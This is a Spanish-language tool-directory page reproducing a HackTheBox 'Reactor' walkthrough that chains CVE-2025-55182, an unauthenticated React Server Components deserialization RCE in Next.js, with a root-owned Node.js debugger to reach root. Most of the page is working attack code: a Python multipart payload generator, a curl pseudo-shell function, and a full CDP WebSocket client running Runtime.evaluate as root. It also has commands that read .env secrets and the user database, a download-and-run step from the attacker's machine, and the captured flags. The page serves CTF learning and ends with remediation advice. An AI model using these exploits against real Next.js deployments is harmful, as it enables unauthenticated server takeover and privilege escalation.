Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
HTB-Reactor-Linux-Machine-Walkthrough — Walkthrough completo de la máquina Reactor de HTB — explota la CVE-2025-55182 para obtener una shell y luego consigue root a través de un depurador de Node.js expuesto. Paso a paso con capturas de pantalla. | Kitploit
Herramientas/GitHubGitHub/sonnycroco/htb-reactor-linux-machine-walkthrough
Escalada de PrivilegiosReconocimientoAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPost-ExplotaciónCTFPruebas de PenetraciónAprendizaje y Educación

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Herramienta de Acceso Remoto
Labs y Práctica
GitHubsonnycroco/htb-reactor-linux-machine-walkthrough

HTB-Reactor-Linux-Machine-Walkthrough

Walkthrough completo de la máquina Reactor de HTB — explota la CVE-2025-55182 para obtener una shell y luego consigue root a través de un depurador de Node.js expuesto. Paso a paso con capturas de pantalla.

Ver Repositorio
19hace 3 mesesAún no revisado

HTB: Reactor

Difficulty OS Status CVE CVSS


[!CAUTION] Advertencia de spoiler. Esta es una guía completa que incluye las flags. Si quieres resolver la máquina por tu cuenta, cierra esto ahora y vuelve cuando estés atascado.


Información de la máquina

CampoDetalles
NombreReactor
SOUbuntu 24.04 LTS (Noble)
DificultadMedia
CVECVE-2025-55182 (CVSS 10.0)
Puertos22 (SSH), 3000 (Next.js)
Autorsonnycroco

Resumen

Reactor está tematizado en torno a un panel de monitoreo de plantas nucleares llamado ReactorWatch. La máquina trata por completo de dos vulnerabilidades encadenadas: sin adivinanzas, sin callejones sin salida, sin fuerza bruta.

El camino: una compilación de prelanzamiento de React 19 expone una falla crítica de deserialización que te da ejecución remota de código no autenticada con una sola solicitud HTTP. Desde ahí, un puerto de depuración de Node.js que se ejecuta como root te brinda acceso completo al sistema mediante un mensaje WebSocket.

Cadena de ataque:

root@kitploit:~
Unauthenticated HTTP POST
        │
        │  CVE-2025-55182 - React RSC multipart deserialization
        ▼
  RCE as node (uid=999)
        │
        │  Root Node.js process with --inspect exposed on localhost
        ▼
  CDP Runtime.evaluate -> RCE as root (uid=0)
        │
        ├── user.txt ✓
        └── root.txt ✓

Tabla de contenido

  1. Paso 1: Reconocimiento
  2. Paso 2: Identificando el stack tecnológico
  3. Paso 3: Explotando CVE-2025-55182 (RCE no autenticada)
  4. Paso 4: Explorando como node
  5. Paso 5: Flag de usuario
  6. Paso 6: Escalada de privilegios
  7. Paso 7: Flag de root
  8. Lecciones aprendidas
  9. Remediación

Paso 1: Reconocimiento

Lo primero que hay que hacer en cualquier máquina nueva es averiguar qué está escuchando. Un escaneo de puertos completo con detección de servicios para no dejarse nada.

root@kitploit:~
nmap -sV -sC -T4 -p- --min-rate 5000 10.129.8.56
root@kitploit:~
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
3000/tcp open  http    Next.js 15.0.3

Resultados del escaneo de Nmap mostrando los puertos 22 y 3000 abiertos y Next.js identificado

Solo dos puertos. SSH es un callejón sin salida en esta etapa porque todavía no tenemos credenciales. El puerto 3000 es el objetivo. Nmap ya nos dice que es Next.js 15.0.3, lo cual es una buena pista.


Paso 2: Identificando el stack tecnológico

Antes de lanzar exploits a lo loco, quiero saber la versión exacta de todo lo que se está ejecutando. Las cabeceras HTTP ya revelaron Next.js, pero la versión de React es el detalle crítico. React 19 estuvo en prelanzamiento durante mucho tiempo y tuvo algunos problemas serios antes de la versión estable.

Descargo uno de los chunks de JavaScript del lado del cliente para comprobarlo:

root@kitploit:~
curl -s http://10.129.8.56:3000/_next/static/chunks/517-d083b552e04dead1.js \
  | grep -oP '[0-9]+\.[0-9]+\.[0-9]+-rc-[a-z0-9-]+'
root@kitploit:~
19.0.0-rc-66855b96-20241106

Ese rc en la cadena de versión es la prueba irrefutable. Se trata de una compilación candidata a versión final (release candidate) de React 19, no de la versión estable. Las bases de datos de CVE lo confirman: CVE-2025-55182 afecta exactamente a esta compilación. CVSS 10.0.

Ya que estoy aquí, reviso las cabeceras en busca de pistas sobre middleware:

root@kitploit:~
X-Powered-By: Next.js
x-nextjs-cache: HIT
x-nextjs-prerender: 1

No hay ninguna cabecera x-middleware-rewrite por ningún lado, lo que significa que no hay middleware de Next.js instalado. Esto descarta CVE-2025-29927 (la bypass de middleware), algo que vale la pena señalar para que no pierdas tiempo con ella.

Lo que sabemos:

  • Next.js 15.0.3 con experimental.serverActions habilitado
  • React 19.0.0-rc, vulnerable a CVE-2025-55182
  • Nombre de la aplicación: ReactorWatch (panel de sensores de reactor nuclear)
  • Sin middleware, por lo que el CVE de bypass de middleware no aplica aquí

Identificación de tecnologías mostrando React 19.0.0-rc detectado y CVE-2025-55182 identificado


Paso 3: Explotando CVE-2025-55182 (RCE no autenticada)

En qué consiste la vulnerabilidad

Los Server Components de React 19 introdujeron las Server Actions, que son funciones del lado del servidor invocables por el cliente mediante HTTP POST con una cabecera Next-Action. El analizador de cuerpos multipart que maneja estas solicitudes tiene una falla crítica: deserializa de forma insegura un tipo de referencia llamado $1:__proto__:then.

Al crear un cuerpo multipart que establece _response._prefix con JavaScript arbitrario, un atacante consigue que ese código se evalúe en el servidor. Luego, la salida se extrae mediante una excepción que Next.js usa internamente para las redirecciones (NEXT_REDIRECT) y termina codificada en URL dentro de la cabecera de respuesta x-action-redirect.

Cualquier POST a cualquier página con la cabecera Next-Action lo dispara. Sin comprobación de autenticación, sin endpoint especial. Solo envía el payload a / y ya estás dentro.

Construyendo el exploit

Un pequeño script auxiliar en Python que recibe un comando de shell como entrada, construye el payload multipart y lo escribe en disco para que curl lo envíe:

make_rce.py - generador de payloads
root@kitploit:~
# /tmp/make_rce.py
import sys

cmd = ' '.join(sys.argv[1:])
cmd_esc = cmd.replace("\\", "\\\\").replace("'", "\\'")

payload = (
    b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
    b'Content-Disposition: form-data; name="0"\r\n\r\n'
    + ('{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
       '"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":'
       '"var res=process.mainModule.require(\'child_process\').execSync(\''
       + cmd_esc +
       '\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),'
       '{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2",'
       '"_formData":{"get":"$1:constructor:constructor"}}}').encode('utf-8')
    + b'\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
    b'Content-Disposition: form-data; name="1"\r\n\r\n'
    b'"$@0"\r\n'
    b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
    b'Content-Disposition: form-data; name="2"\r\n\r\n'
    b'[]\r\n'
    b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad--'
)
with open('/tmp/rce_payload.bin', 'wb') as f:
    f.write(payload)

Envolviéndolo todo en una función de shell para una experiencia de pseudo-shell:

root@kitploit:~
rce() {
  python3 /tmp/make_rce.py "$*" > /dev/null
  curl -s -D /tmp/rh.txt -X POST "http://10.129.8.56:3000/" \
    -H "Next-Action: x" \
    -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
    --data-binary "@/tmp/rce_payload.bin" > /dev/null
  grep -oP 'x-action-redirect: /login\?a=\K[^;]+' /tmp/rh.txt \
    | python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read().strip()))"
}

El intercambio HTTP en bruto. La salida del comando está justo ahí, en la cabecera de redirección:

root@kitploit:~
POST / HTTP/1.1
Host: 10.129.8.56:3000
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad

[... multipart body ...]

HTTP/1.1 303 See Other
x-action-redirect: /login?a=uid=999(node) gid=988(node) groups=988(node);push

Disparándolo

root@kitploit:~
rce "id"
# uid=999(node) gid=988(node) groups=988(node)

Hemos entrado como la cuenta de servicio node. Sin autenticación, sin fuerza bruta, sin ingeniería social. Solo un HTTP POST. Así se ve un CVSS 10.0 en la práctica.

Solicitud y respuesta HTTP en bruto del exploit de CVE-2025-55182 con la salida del comando visible en la cabecera de redirección

[!WARNING] Dos cosas que debes saber antes de continuar:

  • execSync es síncrono y bloquea el hilo de respuesta. No intentes lanzar una reverse shell con él; usa la función asíncrona exec() o el servidor se colgará.
  • La plantilla literal NEXT_REDIRECT se rompe con saltos de línea. Siempre canaliza la salida multilínea por paste -sd, para aplanarla antes de que entre en la URL.

Paso 4: Explorando como node

Con la ejecución de código confirmada, el siguiente objetivo es entender el entorno: qué hay en esta máquina, qué credenciales andan por ahí y si existe un camino obvio hacia un usuario con más privilegios.

Revisando la configuración de la aplicación

root@kitploit:~
rce "cat /opt/reactor-app/.env | paste -sd,"
root@kitploit:~
DB_PATH=/opt/reactor-app/reactor.db
SENSOR_API_KEY=rw_sk_7f8a9b2c3d4e5f6g7h8i9j0k
NODE_ENV=production

Hay una base de datos SQLite en disco. Veamos qué contiene:

root@kitploit:~
rce "sqlite3 /opt/reactor-app/reactor.db 'SELECT * FROM users' | paste -sd,"
root@kitploit:~
1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|[email protected]

Una cuenta de administrador con un hash MD5. Pasarla por John con rockyou no la descifra. No pasa nada; al final, el crackeo de hashes resulta innecesario cuando encontremos el verdadero camino de escalada de privilegios. Dejo esto a un lado y sigo.

Revisando usuarios y directorios personales

root@kitploit:~
rce "cat /etc/passwd | grep -v nologin | grep -v false | paste -sd,"
root@kitploit:~
root:x:0:0:root:/root:/bin/bash
engineer:x:1000:1000:engineer:/home/engineer:/bin/bash

Hay un usuario llamado engineer. La flag de usuario está en su directorio personal.

[!NOTE] En algunas instancias de esta máquina, /home/engineer/ tiene permisos 700, por lo que la cuenta de servicio node no puede leerlo directamente. Si ese es tu caso, no entres en pánico. El camino de escalada a root que se cubre en el Paso 6 te permite leer ambas flags como root.


Paso 5: Flag de usuario

root@kitploit:~
rce "cat /home/engineer/user.txt"
root@kitploit:~
f7b714f9fdf5c08a5f240668792aa13f

Si /home/engineer/ está restringido en tu instancia, salta al Paso 6 y consigue ambas flags como root.


Paso 6: Escalada de privilegios

Encontrando el camino a root

Con un punto de apoyo establecido, reviso qué procesos se están ejecutando en la máquina. El ps aux completo es largo, así que filtro por cualquier cosa relacionada con Node.js:

root@kitploit:~
rce "ps aux | grep -E 'inspect|node' | paste -sd,"
root@kitploit:~
node    1415  next-server (v15.0.3)
root    1417  /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js

Ahí está. Un segundo proceso de Node.js ejecutándose como root, lanzado con la flag --inspect enlazada a 127.0.0.1:9229. Es un script de monitoreo de uptime que alguien arrancó con el depurador de Node.js habilitado y dejó corriendo.

Por qué esto nos da root

La flag --inspect abre el Protocolo Chrome DevTools (CDP), el mismo protocolo que usan las herramientas de desarrollo de tu navegador. Cuando te conectas, puedes indicarle al proceso que evalúe JavaScript arbitrario en su propio contexto V8. Dado que este proceso se ejecuta como root, cualquier cosa que evalúes también se ejecuta como root.

La única barrera es que el depurador está enlazado a localhost, pero ya tenemos ejecución de código en la máquina como node, así que podemos alcanzarlo sin problemas.

Confirmo que el depurador está activo y obtengo la URL WebSocket:

root@kitploit:~
rce "curl -s http://127.0.0.1:9229/json | paste -sd,"
root@kitploit:~
[{
  "description": "node.js instance",
  "id": "1d85ee80-b525-4bdc-91c4-f52f7054294f",
  "title": "/opt/uptime-monitor/worker.js",
  "type": "node",
  "webSocketDebuggerUrl": "ws://127.0.0.1:9229/1d85ee80-b525-4bdc-91c4-f52f7054294f"
}]

[!IMPORTANT] El UUID en la URL WebSocket (1d85ee80-...) es único por instancia de proceso. El tuyo será diferente. Cópialo de tu salida JSON y actualízalo en el script de explotación antes de ejecutarlo.

Salida de ps aux mostrando el proceso root de Node.js con inspect y la URL WebSocket del depurador obtenida del endpoint json

Escribiendo el exploit de CDP

Para enviar un comando Runtime.evaluate al inspector, necesitamos un cliente WebSocket. El paquete npm ws no está en el objetivo, así que escribo uno mínimo desde cero usando solo los módulos integrados de Node.js: net para la conexión TCP y crypto para el enmascarado de tramas WebSocket.

inspector_exploit.js - cliente CDP WebSocket sin dependencias
root@kitploit:~
const net = require('net');
const crypto = require('crypto');

// Update WS_ID to match your instance's UUID from /json
const WS_ID = '1d85ee80-b525-4bdc-91c4-f52f7054294f';
const CMD = 'process.mainModule.require("child_process").execSync("cat /root/root.txt").toString()';

function encodeFrame(data) {
  const payload = Buffer.from(data, 'utf8');
  const mask = crypto.randomBytes(4);
  let headerLen = (payload.length < 126) ? 6 : 8;
  const header = Buffer.alloc(headerLen);
  header[0] = 0x81;
  if (payload.length < 126) {
    header[1] = 0x80 | payload.length;
    mask.copy(header, 2);
  } else {
    header[1] = 0xfe;
    header.writeUInt16BE(payload.length, 2);
    mask.copy(header, 4);
  }
  const masked = Buffer.alloc(payload.length);
  const maskStart = headerLen - 4;
  for (let i = 0; i < payload.length; i++) {
    masked[i] = payload[i] ^ header[maskStart + (i % 4)];
  }
  return Buffer.concat([header, masked]);
}

const sock = net.createConnection({ port: 9229, host: '127.0.0.1' });
let upgraded = false, chunks = Buffer.alloc(0);

sock.on('connect', () => {
  sock.write(
    `GET /${WS_ID} HTTP/1.1\r\n` +
    `Host: 127.0.0.1:9229\r\n` +
    `Upgrade: websocket\r\n` +
    `Connection: Upgrade\r\n` +
    `Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n` +
    `Sec-WebSocket-Version: 13\r\n\r\n`
  );
});

sock.on('data', (data) => {
  chunks = Buffer.concat([chunks, data]);
  if (!upgraded) {
    const str = chunks.toString('utf8');
    const sep = str.indexOf('\r\n\r\n');
    if (sep === -1) return;
    upgraded = true;
    chunks = chunks.slice(Buffer.byteLength(str.slice(0, sep + 4)));
    const msg = JSON.stringify({
      id: 1,
      method: 'Runtime.evaluate',
      params: { expression: CMD, returnByValue: true }
    });
    sock.write(encodeFrame(msg));
    return;
  }
  while (chunks.length > 2) {
    const b1 = chunks[1] & 0x7f;
    let payloadStart, payloadLen;
    if (b1 < 126) { payloadLen = b1; payloadStart = 2; }
    else { if (chunks.length < 4) return; payloadLen = chunks.readUInt16BE(2); payloadStart = 4; }
    if (chunks.length < payloadStart + payloadLen) return;
    process.stdout.write(chunks.slice(payloadStart, payloadStart + payloadLen).toString() + '\n');
    sock.destroy();
    process.exit(0);
  }
});

sock.on('error', (e) => { process.stderr.write(e.message + '\n'); process.exit(1); });
setTimeout(() => { process.stderr.write('timeout\n'); process.exit(1); }, 8000);

[!WARNING] Dentro de una llamada CDP Runtime.evaluate, la función require() simple no está en el ámbito global, aunque worker.js en sí sea un módulo CommonJS. Debes usar process.mainModule.require(...). Usar require() a secas lanzará un ReferenceError y no producirá salida.

Entregando y ejecutando el exploit

Sirviendo el script desde la máquina de ataque:

root@kitploit:~
python3 -m http.server 8080 --directory /tmp/www &

Descargándolo y ejecutándolo en el objetivo mediante la cadena de RCE:

root@kitploit:~
rce "curl -s http://<YOUR_IP>:8080/exploit.js -o /tmp/exploit.js && echo ok"
rce "node /tmp/exploit.js 2>&1 | paste -sd,"

Respuesta:

root@kitploit:~
{"id":1,"result":{"result":{"type":"string","value":"uid=0(root) gid=0(root) groups=0(root)\n"}}}

Estamos evaluando JavaScript arbitrario dentro de un proceso que se ejecuta como uid=0.

Respuesta de CDP Runtime.evaluate confirmando uid=0 y ejecución de código como root


Paso 7: Flag de root

Mismo exploit, comando diferente en CMD:

root@kitploit:~
rce "node /tmp/exploit_root.js 2>&1 | paste -sd,"
root@kitploit:~
{"id":1,"result":{"result":{"type":"string","value":"5c091a1960eb124c53910c1a1f456334\n"}}}
root@kitploit:~
root.txt: 5c091a1960eb124c53910c1a1f456334

Ambas flags capturadas, user.txt y root.txt, máquina completamente comprometida

Tiempo total desde la primera solicitud hasta root: menos de 10 minutos una vez que entiendes el CVE. Sin fuerza bruta, sin crackeo de contraseñas, sin callejones sin salida.


Lecciones aprendidas

1. No asumas que los CVE de Next.js se acumulan

CVE-2025-29927 (bypass de middleware) estaba de moda al mismo tiempo que CVE-2025-55182. Verifica siempre si el middleware está realmente presente antes de probar su bypass. La presencia o ausencia de la cabecera de respuesta x-middleware-rewrite te lo dice de inmediato. Perseguir el CVE equivocado es una pérdida de tiempo fácil.

2. execSync romperá las reverse shells

Bloquea todo el hilo de respuesta del servidor hasta que el subproceso termina. Lanzar bash -i o una shell de netcat a través de él colgará ambos lados. Usa mejor la función asíncrona exec() de child_process si necesitas una shell interactiva a partir de este exploit.

3. Aplana la salida multilínea antes de exfiltrarla

La salida del comando se incrusta dentro de una plantilla literal de JavaScript: NEXT_REDIRECT;push;/login?a=${res};307;. Cualquier salto de línea literal en res rompe la plantilla y no devuelve nada. Canaliza todo por paste -sd, para unir las líneas antes de la exfiltración.

4. require no es global en el contexto CDP

Cuando envías Runtime.evaluate a un inspector de Node.js, ejecutas dentro de un aislado V8 que no expone la función require de CommonJS de forma global, incluso cuando el proceso objetivo es en sí mismo un módulo CommonJS. Usa siempre process.mainModule.require("module") dentro de las expresiones CDP.

5. Los permisos del directorio personal varían según la instancia

En algunas instancias de esta máquina, la cuenta de servicio node puede leer /home/engineer/user.txt directamente. En otras, los permisos 700 del directorio personal lo bloquean. El camino de escalada a root siempre funciona y te da ambas flags en cualquier caso.


Remediación

Descargar herramienta
VulnerabilidadSolución
CVE-2025-55182Actualiza React de 19.0.0-rc a la versión estable de React 19. Actualiza Next.js a la versión 15.2.3 o superior.
--inspect de Node.js como rootElimina --inspect de todos los procesos de producción por completo. Nunca enlaces el inspector a ninguna dirección, ni siquiera a 127.0.0.1, en sistemas compartidos. Usa un entorno aislado dedicado para depurar.
Base de datos SQLite en el directorio de la aplicaciónMueve la base de datos fuera de la raíz web. Restringe los permisos del sistema de archivos para que el proceso web solo acceda a lo que necesita estrictamente.